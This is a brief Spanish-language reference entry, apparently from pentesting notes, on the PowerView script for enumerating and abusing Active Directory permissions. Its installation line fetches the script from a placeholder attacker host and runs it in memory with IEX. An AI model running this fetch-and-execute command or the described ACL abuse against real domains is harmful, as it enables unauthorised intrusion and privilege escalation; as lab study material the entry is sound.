PowerView
Enumeración y abuso de AD desde PowerShell.
Script de PowerShell para enumerar y abusar de Active Directory sin salir de un host Windows del dominio (living off the land). Consulta usuarios, grupos, ACLs y confianzas por LDAP, y ejecuta acciones como cambiar contraseñas o añadir SPN.
Familia Enumeración de Active Directory
Flags Get-DomainUser Set-DomainObject
Conceptos ACL Abuse (DACL), GenericAll, GenericWrite, ForceChangePassword, WriteDACL, WriteOwner
Cheatsheet Abuso de ACL / DACL
Instalación
# PowerView es un .ps1: subirlo y cargarlo en memoria en la sesion de PowerShell
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerView.ps1')Comandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.
- SupportHackTheBox